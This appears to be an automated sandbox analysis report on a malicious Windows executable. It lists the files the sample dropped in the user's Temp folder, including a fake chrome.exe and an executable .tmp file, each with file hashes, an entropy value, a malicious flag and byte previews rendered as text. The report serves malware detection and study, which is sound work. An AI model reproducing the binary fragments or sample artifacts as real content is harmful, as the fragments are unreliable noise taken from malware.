Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: Endermanch@Xyeta.exe, Detection: malicious, Browse Filename: Endermanch@XFileCorrupter.exe, Detection: malicious, Browse Filename: Endermanch@WindowsAcceleratorPro.exe, Detection: malicious, Browse Filename: Endermanch@Xyeta.exe, Detection: malicious, Browse Filename: EF48AEBC0F1E77208BBCD5206C58678BB1181994507D1084E1D324DCA9D5D3B8.exe, Detection: malicious, Browse Filename: E7BDCB973BAA2F0F5C68C5D1765C468165184FDF20C49D96B6B91E550B01B199.exe, Detection: malicious, Browse Filename: e89614e3b0430d706bef2d1f13b30b43e5c53db9a477e2ff60ef5464e1e9add4.exe.dll, Detection: malicious, Browse Filename: drawerror.exe, Detection: malicious, Browse Filename: E6D881EA9A11D23E31737469C38C5C74DE54ADC680A662D877C6CAB46E3A34AB.exe, Detection: malicious, Browse Filename: e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........I.>.'..'.>.'..\.2.'.#.(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrome.exe

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	141134
Entropy (8bit):	7.998387564428915
Encrypted:	true
SSDEEP:	3072:2i7+cIoeacFveCC3ZjZFfvZ17mWUaiutyuFC3J2SAym4:2yLuveCSZjffvnUaiutyu4ESA2
MD5:	6F9EF1944A068BFC5AE10196DF0B77BD
SHA1:	B22C02272025851F979AF6DBDBCCA46484558E21
SHA-256:	4AD4B3B34E8E3E0629D5F9EA642634D503F390362E8B9C5EC6E6E019441815FF
SHA-512:	E9F0E8E36B04BACAE55B40C71D04657A87E560B54F2DE5F295062C28ABF35A16B6CE44462EA12C9BEA6829947D9429D321189BFB852F63EFD784F6724FAA6B61
Malicious:	true
Preview:	MZ....H. .8c.S....A.'..m[...(Xa.6..6.....\si....`..V.....q.....3\|#......M.g.....=...E....-..V..~.4..QFE....9..3v...r...m.X.D...X.9........F]%.s...-.....j.!.].......\.v.z....>........./....Ln....,.k1.1iE..X.....V`...I.uBx.9....+.....y....._..k......p....X."...f.2.v..";!....F...?..TW[........x.`...CT..}.\|.rB=5.lV}.=...35.P............NK.E...2^...L..qv.@.Z....0..I....b!..(.kn.....<.&..,..gtTf..w2....w/.Oh..?.L..?...39...=....#......p.....+Yj.G.W..8.??..E.k3 lA.C...(W.U88.E..`....@.t.&..FS.4...G.....PG^..'.@..@...a.>.6....O!-$..,"j.(...M....O.e....d..3J. <.c=...D.up.`.T..;'.#u...!U..z..(..`...<&....s...\|.5.Y<J....k..xk.ygT\|.....Q_.G^s.....c...^..W.NV...=...Rgw..@..."..i.. .Gb9.....Y_6....W.s....@...r.6..`....w.[..r.w3.vp.w....C..o..l.6.k..)...Y<.....8C.@.e.....a.A..m,....s.........dq...IT...t.W....R(.g.v....+\]..#]....g....[.........X...{".0..PV......n_.JB.."{{6.....i}O..c.i.A8...[..m.:.T/%.p*.......L....u.AI..\|U...hb......N.r..(.q..GS...(..

C:\Users\user\AppData\Local\Temp\chrome_installer.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	6256
Entropy (8bit):	7.968075611624938
Encrypted:	false
SSDEEP:	192:UlZOWGzb2vI13Qitdq+BSxfpj433JUVUsHXrM:UeWwWgIfpc3JGUgg
MD5:	5D5F1599D597EEEC49657A4AA57C0920
SHA1:	6C9205AA6F0F211BEDA3A75C1D6E7481F4B1D094
SHA-256:	F13AD4C60C54A9A03C1724E41038A833F04C246E4050C1A7CB605CD43670551C
SHA-512:	9D7C987D8F96A776D6B83741ACB46D417BA034EAFBD27B05F479F12041B7AD1E12E1E0C802EED6386E2C22AF1D374FE672A0A4C643B4BD924BEC11B8079A26FC
Malicious:	false
Preview:	[1005..........^....w...V..a.Ep. .\|.no@..N..=2..1...v..!>$6..."Gj.5.p;..%....j..........\|........~f"n.L}.5ZS.4..7.x..^.x..5.....#.R.YN.;i.G<P.5.5.B..c..K);.v\|/.fb..v8.(..ra...+aO...$...#...Y....W..5...(..d..\.rxV.+..S.n......Ko1}....g.FP..V\|.e#.6b7..@C.b..`.\7.^.....4..k.-5h..._.j...A..B>..`~.....e..k/. 7l.......z(..,..W...9/..s..q\|%r,[.kvb..._.v.m...!b.........$h.......1...5N....c.rSE.......16.Ci8U:.....~......0.+.m....<6.m.M.j..}lx.cZ......B.g..Q...'n.....H.R....f....A.]Q1e.G..g.X3.v.....X...n....c..I..?.9qA>5......e....G.Bw............_......JX...v"S..N/RC..l'..f....xK.t..#..V..wgi$.m....H......aq..:...1...6f......O....[...ADry-n(EY..k.v.n..s..(c[lI-.Y...6z..,D.j.."...-.z.3F...p...U.IdkG..+2.#.a%.i.=....0.>......5.)Vx.p-$..;8.!..!...e...7c2.y.+X.~.o.+..8.>..._.v.,.%Rj.....P.C.Y..zq....._.]..<tZ3..r,...j.P.W...@p@c.....vPa...]..r.L{...S.6.i......x..o...+..Y.#.6....P.O..H\|...E..........=.CB.6-...!.Q...V...........b...9...+.F.f......fw.....

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	7.884005475194574
Encrypted:	false
SSDEEP:	48:YRv6UkQSwxDc2L6zBdLQ0qm21I9y/0z18D:2vL1c2Luix1N/C6
MD5:	AFC8D8856A69C630A5B787261DE95ABC
SHA1:	4AFC2FA078D533D96EBE4B13A4FA64DABF6B0740
SHA-256:	DB41A61F5B1236BD5DF4E6748E7B4B067CFE3D48E3FD62B38AB0D4820FCACD01
SHA-512:	3126162157BD31F3623C797C6C1F898EDCD0BB20C0577B89613B552703597813370B9246289FA4E54E06CB5F30B9ABD1529180A2398D9F9B5DC60E161E25FE8E
Malicious:	false
Preview:	{"logI..F!I.$}..hW.p......#..I.....P.JI...02..Wa..O;>]>...,.?...\..:;..F..\.7..1..YP...l..pX.>....].ug..`.w.OD.w.4Ts#I.d^'?^.T.5l.8u..V...@.O.b6b....ip.....j.....#D....{mew.+4).5..6..@<...3..w{Z..j].........B,..+G}'C.it.....-....H.....@_....@.....[.....cy....$.....dt...\.9J.i..S....k...$...#w..(....W.Me.Z...Jg..+....g..\!.H........q....c.B...F..t1a.H..m._..).y.9......$.C.{.....k....`.....[2...$_.`...>.}.@...5.......;8.]...U.h.].i."n....y...[y..I.'.!..[R.Rw...wb..8......n.....`N./..^\|l....l^.\k....`.V...&.;..R.....^<!O......l~.X...X....Y....#{N.q...te4...]E.*..V....#NG.^.~..."6].G.Q.......N..b....fy/:n.%.cm;.o.=G..X.....g..........'.v.(or.s. .H..O.!....V.........s+....kI....--.S:?....].@Z'..E....%...[.V.....g...c=.Evk....Z.RI}.O..W.R8?........,..u.......5.vS..L....6...wV.<..<`)..8=......y......T....Q..4....%.y8..u...X..wq/....[.8......7..\|....B......rck.'6Z/.uP .6..0.m.R.<..'..V#..y.+nP.q...4.UJI....Sn...>........g.N.EP.....o2..-...q6.q

C:\Users\user\AppData\Local\Temp\user.bmp

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.174187153730849
Encrypted:	false
SSDEEP:	3072:9Qn1mlNOJcuDqzhlzcJTxQho2iDNrwXHFMfedi6Jymb6j:9Qn1mlN8MhlzcZxKoNrwXHFMf6PJymGj
MD5:	9DF9A7CA59EC57CDB6444E7C017147FF
SHA1:	F825669C9426E36A9228A92E65373A792018D078
SHA-256:	93BDC8B9E3CBBDAC756BEF5E09B40A5A69D018807484325BEBFC76A91940E533
SHA-512:	CD7B0FC2ABB0D63E001315BF2CE962761294C59DDF6BF4FEA947DAB806F5CF77129F94291AE19DDF0F1B45D1087E301D555C399BA64E3B28DC74ED205A1BBD55
Malicious:	false
Preview:	BM80...Z...b.\|>.K.f...G..`....Z^RZ5..6........crO....8...k.,..\....z.:.5{.{.k.=.zU..MT.k..#...g.....w2...t.....ld..n.G.UV...hP.....j.o....4b.3...If../XJY.(U.....2..w...y4e}S.#.....,K......n...$./.$x.....m..../g....X.'.....bj.{y...!....J1.aP...5(pH.7i#....]#...4\|..@..[...%C..:.1h.p..<.....EV{,....D...n...T&,Oq.W............;..(..N......P.p}3mi..F..VC.:.O/mv ...g..7.]u..h!._3.!!oI2.F....-......-.......6.oe..H..(....{~..&[.vv.@.5.....;8...#.\L.:%bDw8.i.F..T.}.n......Y.1H..*G{v.._...1.....o.O.aS...#.l~h.v........8.......rL...}L../....:.c.7....A05:...m...>............wD.=y...._..4b.OS.b.z9`zy.N....._.VQ.U..N.b....+............X.a.-....zvWw..<.D......Wo@}u.....].7..@.....dl%....{.l...YD...m0....e.....L.Q.e...=@C`+f..O....7K.=k..+......o.y.A......b..f...!p.Lq..-..Kbe.....dS"..;......NW.H...uP0..].....%.Z....lV...;+.8QH?.J>.c1nj.".[.R$...\.=......?.[K. ...9..._.Y..P[.A.>x}..E...gGR..^...-.^G.............r...D..k.1.N+@....9P7

C:\Users\user\AppData\Local\Temp\jones.bmp

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.175843695735174
Encrypted:	false
SSDEEP:	6144:Y9XOHbAH0KVN4GJCZKKIqnbB2YLeuENv+S:UIbAn4iMfjvhS
MD5:	3B46FEB917006C61EAC169EC320081AF
SHA1:	0922EEA483CD182D6C25769900CA12BF38E00844
SHA-256:	A60351677BBABA78FE09C84F5D44170E0BBC9E0833AB0EDFAF3AB64DEB5B6628
SHA-512:	75C81D7F4987F0244D7D001BA21E8E24911FA55648D950B8B450222E90554FD782CCEAA15115BBCC5FE5176E76CCA3A992943D2EC7A80F0F794442C1AD2021FD
Malicious:	false
Preview:	BM80.......(.'e.G{#0d.sG......%....r....I.=4...Q.v&...(.U...}<...d#YqM.....H1..,7M.}.;...k....P.LI3z......+...fW.\X....yRX..d]_U8`.}..h...F.....C..v...G.s,...a[..(b....z..Mi=.y.....N....z.."......lr.f.@.\#..X..Q.9..D.......l...2..}.=]fEO..?..p.+..l..B.[4.(Z..hW.(F.2....Y..r.I..u.M.Z&.#.@..........o..`..3..I..@.r..E.....c{.,......jx!77e..N.]..z.z..../.^A1....>W.z..A#.g....^..w.)......@>Lg.y..kU:...yLu.1.".zCP2._..$bD(..vMx.M..`7...{....e...Y&z.u.x2...I..;.Sl8L..:1r.......f2......$.%..K....;.X.0..Zf)T.._5.Mk.>.....Z..,f}PPV...V;.Z..C.;....Gt.=PM..UJ..O...........C....v:H...5V..F...a8l..[....]..+E<(.?.y.......X.b'..p....b.......na.>=%Z_?...EM..Y......b.\.3...=..`..@...b..%~........0N.A\..p...`...%..v.t#vh<7....l...d..~/....V`...L....C.....3.Z-.B........2t.P.J......8..d......6................E.G&..3.O. .>..q.".m..1).G.J.o..h........h..x+...$,}.Wd.N.e....f.. x.G......4FA..2...d.....{.c.u.b.%\....s/N..Y-....=.;.n.....m......

C:\Users\user\AppData\Local\Temp\jusched.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	34065
Entropy (8bit):	7.994369531659082
Encrypted:	true
SSDEEP:	768:1ZV7JEF8c3x9BfX/kIC4A3DWv/TCf85ec7oATD:vgFF3RHkz4sQCEws7D
MD5:	A1F11A81C993A1652EAFA08C8FA20132
SHA1:	9AC72FCA023CC03A9E4C06D1D989B46345B884B4
SHA-256:	195B8F14FBFF5CD9A4F9BBBA820C48B64092D9352FFBB0A1624B384175E28E4A
SHA-512:	006DEA5528D1B6A331CD27FFD1C0895CB043E581A0D990369AD5A6E2CE83BFBAF7696016F4313D77F551BC1A54A7F6EF82782B6B14FE67E0B693548A7199824D
Malicious:	false
Preview:	[2023N.......88......T..t..px.F............P..!..C.Tv....WO.b....N.........O.D...8m....T.#L.m[DH{G..#N....aSB.`...I....}.N..RC..U.7.:...[78.-{.<]...V.../.....Q.....<..A../E........N...^9@;>.+.....i.^..a..}a".}$-.)DHz.U...K.9....3.3L..X..........4.m...!..X.....W.^..G..M./.j..G.5......<..$...........\..3...B;0.+.A}.61.O9.<.6..E\|.s.....UO...ze...D.U.r,].g.y.........o...)AY....$.."...../....T.-..u ...U..d.a.0)3..NY"7..Z.......U.VT....i...i....h.........\|.5j......M.9............!:{)5aF ....ig....@......yw .8.uMK..M.........Wz........yW..+H....3...H.%..N...}AX...m.O...U.......k.d,.G......vU........y......4kq.4..8.......l.\\|.c.<.E_....xIX.s......\|..E.O.o.".S.....$.s..;.G...nA..U..y-..cf..i...c.{.....o.z.Y...k.%...h.......p.#}.U.'.g,.f..C.0.{.j..~/.l.x.......8.............l~ ..sc.c{U^...+..`j..>.....d..[......U......>$2.........N1.D..]dj"Cu..S.9q.[y.#..K...{P<.cfz.......PA..'..=.....d.r......%..3.,..7.;A.7.o.s........e..}z.D{...$u..W.]

C:\Users\user\AppData\Local\Temp\msedge_installer.log

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	12129
Entropy (8bit):	7.984011896445366
Encrypted:	false
SSDEEP:	192:VZ5ie6gfXEPMGuaiRJPhYpvSoPZhtgj+rBF0dxlBYR4ogOHl7xWWOW0z3NR6/a4R:LIiMPAEpvSChtgSrkJuRlgOFHxue/at+
MD5:	2D2664B0C8B7FB7E416003585F39DB82
SHA1:	7EE2AC6D0E723F314514492198747A127A908BFE
SHA-256:	E9037F1C54E47B7285C82BBCC876BCB780F4B609193920D1A08A70035AB6F4A4
SHA-512:	4FBAFF3A2B0E64ECADDD651819E0B8F64F0F105B7E6A686B2D258080D2B3777E5D1444C06118A447765CBAC881999A1728828279848E6D308C9B70158E35CC73
Malicious:	false
Preview:	[660:&..qND..E@...u.!..mm.+5\S.?#"n..2a.7..)..$[..Vw..W.m\.+... "_.NIJ.0...._.B..~.........6:.d.$;$SSK.X..g1.aj.q..:...A.`.[..v.L........%0D..6.q.g...%....n.n.y.....$.~..4\|.....>.-.w.g^T......\.E.=!.~....m^...#..Wp]....~.J3..N....._....V..h...}'...>......:40...~.);z..{....j..\.y......gP..[..W.E.a ..zIj\|q...4u...\|...3U~....`Ha....wJ..d.....&..0.]r..A..?........4XE..m^..."..6L)..).y7.-...?...[?.s...>..t......E-...HBb.s.\|..x..?.J...f.W...p.3.w.]....C.......$....Q...%......L..~..0..'.D.x....Y..b..4...v..At..].i...jd8r.........;.[..`........0. .v...R(...Eq^.:A.9..#.\.I...O.~......C...[A..E..D\|g......V.k.d......%f......1m.....i.b..#F..q.\...Z.s.<...}.A..K%.".gC..8.3!..B...#....&.=*.........W..4...m.UP...u`.O.........&DU..?.k.....4..vr....:.....WT..r....c.(#.u%.6.....\|o2....JG.Z[9..P..[./.......;.#?8. c....!...I.&._h.PtN.......a.............LZ...xJ.F.$..D.i.P.M.F..q.'...O0....OR.7.Aq...L.MI.....jJ"......:...~<D.3nn8.4 X......L+..z..^....\.Y.R.

C:\Users\user\AppData\Local\Temp\offline.session64

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997182319246555
Encrypted:	true
SSDEEP:	1536:m+IeWqsYNsy7Hng7tiLzzmMeTWhPLlbJHHHpDpr/4Ktl:m+IHbqasneoP59HVl
MD5:	AD37FFCDF6485DCAFA108CAF8849589F
SHA1:	3053EE842925FB6A135483DC433DFD75E481AEE1
SHA-256:	8AF9FC7A37CC8CEF6C6BC05400FEB897CD6AD298EF5060BB63916C9D483E8E90
SHA-512:	37567BEDDA07D800791E2A249EFC19F04900A55193CFA09334E0DDE70F2D44A7E30B546F3A55E343BA78C0C785EAD29D779A1CF47BEC1E8610A8BCF84C9DB9A4
Malicious:	false
Preview:	1G.f....o.F...1.........R..$"...7.......4^....@........r4........PDoF........I.../:D.}....2.e.".AIT..?....bQ.R(..+.1,-0.E...)J......N.;..y.l..9.{...!....";S.....5.v.!. ....4_..k'...C5.).3C...ML.('..u.Q)j......Z.._@...(j...D.\...._.%..T..B.q.@?.2e._.T.{..s....[.G<..j.Q..x...@..1......2...j.`.<..p6f.FX.-e.Y+....k"..h..>.@5S..kZ.l.A..4.q.1.DJ.zm.ZV=..(...FA...d^......~.Ll.M....y..".b.P...4.$v+."j....WSq...4.Rdv...jSC}.2.2.&.Gp..FW.b.....9.LD...~0e..vZC..~.O..&..........P.e.^}..j.B...$4....b...&R...b..[....ALC.......5>:.O$..E.w...m....4...]...T..;X.4Z..;..M.....7.h{..YA.f.h#...C..Gn....":.._i.K[.]>.....d....R..B...8 .hZ..$.g.c[VW.."U..u.2UE.;\.Xh..Z...u/.EU..AyRa.A........e&..a^.e...R.L....."R....b...0..j../E..?..U#0F#.-...&.N.^.B?.w..x..5........I.$...cd.vS.C.2..^.)...\..C./L....*.3.=.d.hF.1...f..B.)....UMX............i.$L..h...#...<...Xl...,v5.n({.....hP\|....I.>Q.L..]w..;....7iD\|.O...yoD.E......)..P..u9.....4{....-...M....q.9..L..Kw..._...

C:\Users\user\AppData\Local\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.797271494756364
Encrypted:	false
SSDEEP:	24:y2sAr/UCulW0s2LlZ1xBHTDiZhglZVY0ONJqRc4kbD:y2si/UCu80sOxBHTD8hAa0ON8CD
MD5:	B67951BDDA210728B922361CE73FBBEF
SHA1:	0FC7BF3D7955DD82C252D81A628982387D418E5C
SHA-256:	DE5DC56200886155A872533C297FA4C33E4754BFBA770A3536995A7A85D23165
SHA-512:	A2C36C02583C3530A0761306D94C937C534EE94E43A7E43B180EBF645EEFD7C04014964B8391CCE7F84434FB16BD16A50D46C2324FCC127F5E4481BE8C06FAB5
Malicious:	false
Preview:	RNWPR.].......w..aghQ........{..............s)^v.@7..>s.Q"..~!..Q...dE..(?6xP\|..\|.W.Dvi(..q.......F..f..p?".d."..,L.X.......8.$...f..;lL..q\(._3..0..........6...T.8Z~.dY<{.~".........C...HL.;..u..3....W.2.B.?f...a.(/-... E...[.,X=._.K..[.s....1{.....?..X^.>...........[.6ts.]...S.\!.tH. ..!T.7.<.....G{Wr<X}...p..f..el..0q....Z.......E,...t...Q.Pc.......O..S....?.e~+..;.2g"..=q_.)..WV....!....6L.....v..HJt...:!1D.g...GL.K..w...Zf....r.f..j^wU<...&..3......E....mm"$..UO3."^.........Pf..i.\|...eO.......S.._b.Od......@.u..HAX.z;>.Z.g.X...Qm.a'.d..RS.:...Db..%.....\A.\.l<F.p..._h...d?o..;%iB.E......Yl,<..e..}.........ES'u.N..2%<..........6..R\k.O....m\..j...1].j..b....[@<..A....!........".!?....:~..6S.......&..(...[i.L...(....7...N.@...1qi.).E..u:....b2.sQ[j.....$..V......T.7..?k.......7[.;4..W."....B[..[.......'C`C......C?m....x..P..#......Nk;*..0L._.C.=V..b8l@.g..k........[.[..~.]..x.......R..N.....c.[,..TB.J.'K-dYUDKE4rrBmSPsf8srHMsyP40jle9uyxD

C:\Users\user\AppData\Local\Temp\prep_foundation_win32_bundle_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	662029
Entropy (8bit):	6.820250502621898
Encrypted:	false
SSDEEP:	6144:DijjqGtWAdZmEwvq/895K+FVbn94ofjGTxSBYCnyTRgbi9cnipVHaeuFM7U5Stsr:b3AdZm7v75K+7j94omEfr4cnSg0K
MD5:	85DC2D618CA7AEDD70D1387AA2DBF96E
SHA1:	186759BB4D818FBDB481849C863D0E9284104353
SHA-256:	C3817DB9EABC67BBD324D0B545668C6460B6DDA28C88D75F8E98CE0C985B81F3
SHA-512:	A3C5081D6E77AAF98803AB9F6868EB83E39EA30343E21C5CE040C250FAA277A447E9CF5DE07DC748B0B9F35DAAE3234974B64095CBF494C2E065C74C79B6FFAC
Malicious:	false
Preview:	RNWPRR.....:..O.6...J.mic..fN.x.....Y^3.j.@xa.......].....}\|_.@.............D.U..9U..r..i....+#..Q.1..O..WQ.Fi=....A./..)..."4.."...q.'..GW.......]z.H....sM...s...H!@...S..V.'m.\F..9.q....A.@r..A.pC.....J.M....+....)..I.4...1...!....S..=.....L..$.i..y..s{......0..X...x.....?.Fb...k........n\....!U.!J.....,8.^.}.Ng....o...(.q4......s.J...w.$........(.\|.pG<..`........>.v.......m.=)..X<..&H.~..1.#.......m...T.D.H.Wz....r.M.u?n..n$^...}..p........b}_.p.-.+z.O\|8.,;...J..:n..].V.7.%.Ye.\|.._...%...G'.....#.q.c.h....j.....c1,.3..)q ha....1..\|.q2=....G....^,.[.Q4.G..@<x(....O0..~....).?.s......D:...Q..T?;92....\..6.&......UT.,.\.EJH...mXA.9H<.2..x.Ar..Q..J.3.._..+F_.~e"93a....[zM.....O.~l.g.^..!..m{....3R.Oa.=d-8,eh....Yw{.,...........G8..3v.0.Y...>.w..b.)..9.QnW0...... .._./H\..[.8lj..U.).9..P..0?+.<.....Q.+.'5.z#.T.......w.W.c`...bw}.K..suq^Di!.i.TY)9..8..a..j.n./..7.E...8.N..$..X{n.{.a...=,..w?#y.u/.[\|Z....s..I......3..\|kn..!....u?Ibo$P:

C:\Users\user\AppData\Local\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	193321
Entropy (8bit):	7.869645311015602
Encrypted:	false
SSDEEP:	3072:6nBc/O3B99wNcJPm9FYuqnmpTKfbTMOQTqfuOGsCds/hny3X9gN8rmBLE1+MI6vZ:6Bc/ANm3YoTOvWcGsCdsJy3X9OaCLE1D
MD5:	B04FC3EC3975750C33F33E970FECEE23
SHA1:	B17783251398234D361C17003F23866EAC9C89CE
SHA-256:	61AD52AD3FA668F99AB32CF77E4A8CA509CCFF6B50B25D8098A9E8BD7353EEED
SHA-512:	B580ACF8FF3AFF9A2E6BA9E47B1DD9349717C0EB57C09A458EA41CC3A7D65B939AADD7605AD017C657396ADC1B9329E846BB0A6D81F0DA154E66F9BCEBE3B3AA
Malicious:	false
Preview:	RNWPR.K.a0..:..y3.Q.=....&.dh......O..E\.......4S...{ !..\|w.L.P....MPQ0.\bb}nh...s.e.....]..-y.q.w~.G...;..G...%...\z.......eMb.....n.%.....h.NC.8....T..p3..l.p...Vp.)....d..%..H.(.Y]..v.^?...}o..%.V.r0cn.N...J4."......^....O..."s....u.s[H.i//^.m..F...]..6.{...hG.@..vM.w.%.}..#...".g....k.!...z.?\|:(nF.?..?..^.F......Lc4.-./...h..Za..wc4n.?..d.)..4..8....$.3".....o)........q..$.S:.Z.v..R....Z......v.3?h.dC.qP98._...Q..NYH....0&./ ..E.s..7..]y..T.^.Wpyp..Ly........6.....]B3v>Q...ut)Hd%.3..l.......#+R...Q.gS../..t.7......`>(..@...E.$l.xZ.. @.gim........-..+.3./L.......^P.A.......f....h ...ta.&,j...]+.e;.}Yf.n...W.qQ.'i..q..".SI ...^.]...@.6.._....5..a. ..5.....aC..3.....\...#.yj.t[Do...K;0.qr...Q.A..Q.o...........\|ko.@....>U\|.l...6y..'..:.$.w1..J..Yr.Q/u'c...?c_B#.i.sR.N.v......b.U..p.%np.gS'.G.a...../{S.(.]...t..`..a.y-....g[....e.....I..A......2..r..b/f...%A..?..s[}......M!$......x.37,.]...q)yW..{.l..IT..Kl.pBEh.a... ..o.....;

C:\Users\user\AppData\Local\Temp\prep_ui_win32_bundle_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	240221
Entropy (8bit):	7.547999084350477
Encrypted:	false
SSDEEP:	6144:C56qR7bIJqNS5geTBVDylyA7doyHgKHrVcaN6EQ:oli5geDDyly0k2ro
MD5:	3CEC0E0650651F9148CC56C228FA7CE9
SHA1:	01247CA6B0E01874B3DD2AD89081594BC05C95CC
SHA-256:	2F90EF85F451E4E033DA40D6EF56C483CEC11BD2FE835B20D8CB3DD3109DE28B
SHA-512:	4A51330A118C02F75D2CB25705036817AE108DC75FF103E1F1FAC63A61B0895664E225E668104AE786748D0214DAE81F8B1C0103558180CD9BE3BB4840EF6748
Malicious:	false
Preview:	RNWPR)rk.(.......!...a.....L..q{.....?+....2J)g..#9.C..&=@.\...........5.{\|..~;..@.z..:..B.X.....<..c....N...}.$..P+..Y)xk..KOA.\|r.A"...l..<O.5.vj..e.3v..`B.2.Y$U0.`.W...#..Z...d..<.pZ..\|9.n.I..%Q.y..$:.3......rF....y..5..fmK.dZ..4g.A.....)....W.e..k..Cu....9...:jI.....D'B':.f.ev....P.{J:...)(#...A.......G!..B..D....O........H.\..j.,.o_kP..'s.Hv.m.[o2.:..'t!}fs...1c./...I.a....@.)]...\6=..vO..0..U......t.z5.....l\|d.%\2.=Tg.>..W.i@....E..4.....L......!.....V.'...K."...f..d.......;......2t.....e.S6.d..p.Q.....=.+...w........G./)qp..mS..l.7..5R@...Ps..@tH.YO.D.P.....z}...{.".7.,...s..M...........-=...n.Rt...YN..O....IN...Y...M...j.?.f...O1Uf..\|.B.h..*...f.e.%#q...}...7...kzT.n(.e.54?.2.>.g..../Km..+...h..m..bi....r.;....6......r5.>.....M-<...<^=.1N...m....y..n.U.7...6-...0...-.q..@..S{.zEr_/k.Q...O....d%K.....a...6.....O.,..e.p.....l...y.Hbo...:..T..aUI.R....[...... .l.....?...W.))U%.f.v...g..2tb.....sg....{.Q...l.wW.UB.%.%..A.b1.....N.'

C:\Users\user\AppData\Local\Temp\tmpF2C2.tmp

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	811854
Entropy (8bit):	7.617240670498545
Encrypted:	false
SSDEEP:	12288:KKWcZkb2eaSsOlMOe0TCHSyxtbdGDtAl/HTG8EHpUMc4PwunvuhEFou:PWQ6TebHSwdQDahHRjM9wQ2h0ou
MD5:	27FEDAFB59DB569D59CE22A6596C9615
SHA1:	6F0B50EC81392B9037070A9C1A0E5511CAE46D00
SHA-256:	F008B28A26DD9B7BF0A623DA96675D1105B7DF3042FAD0A86E5416FDD3D92142
SHA-512:	648BD6C004577F5D06F84D760A9B685093CEB9A0BC451B63FA127152EB9C839BC0AA36A38752C6EA7CCB2770688CE9C9F0D66D639917ADAA860A49E5DFEF0C4F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ........~.....?m`......."r..5..aZ;y5.........B....=$uOf....q.-.N.s)8'..S4!...x...T..=8.TfiG2...N.r..^.;...#....o.\.....+.......w..?.[.&...J... T.0.7.j7'..P...&..w.[O0..ZL...... '.-7F..b6m.kK..-...t..NmF...0.x....F-5V.(.....e..i.7..uA.....Q......X.+....-..iW..YM]..P....../.U...k.t....F..$...c.Qx.....E.2r..[..\|....;#..3.o...d.Gv.t.u./..........O_4.DQ...;....Ha.....n(g&7%..F..g'TT.B......,....t3.......r;`Q*..P^<..Ip. +'!{..GK......^.eT.c...._...7K..'\H...D.4.....}...:;.v.f.<g..a..5..{...........h`..YF.cA....^......\....$^._4<..'".SV....=..._][6.....%.-..3w..8...R..m.Y...9).....0...5..@y.I.......t..M........zvd..>.j...oe..KUI.....a..}..Z.{..EN.c.RI....WV.u7..P..TW.....-..L....S.i.S..a...l...i.M..J......../PQ....xQC.fUo~]..y^..>..ib.B~ @....b..!.F....9..:9.......(.c...!Mke..^....y..{x...rdm...R...dA.z.x..[...p.W..N.C/...;t;B......{..j.....;....I..~.B.,.....4...D...B.xS..2`M.q]f..V.?..[.".H.Z.....\|...}.~.....M....q.d.(.)......T.

C:\Users\user\AppData\Local\Temp\wct1CF4.tmp

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997645983505399
Encrypted:	true
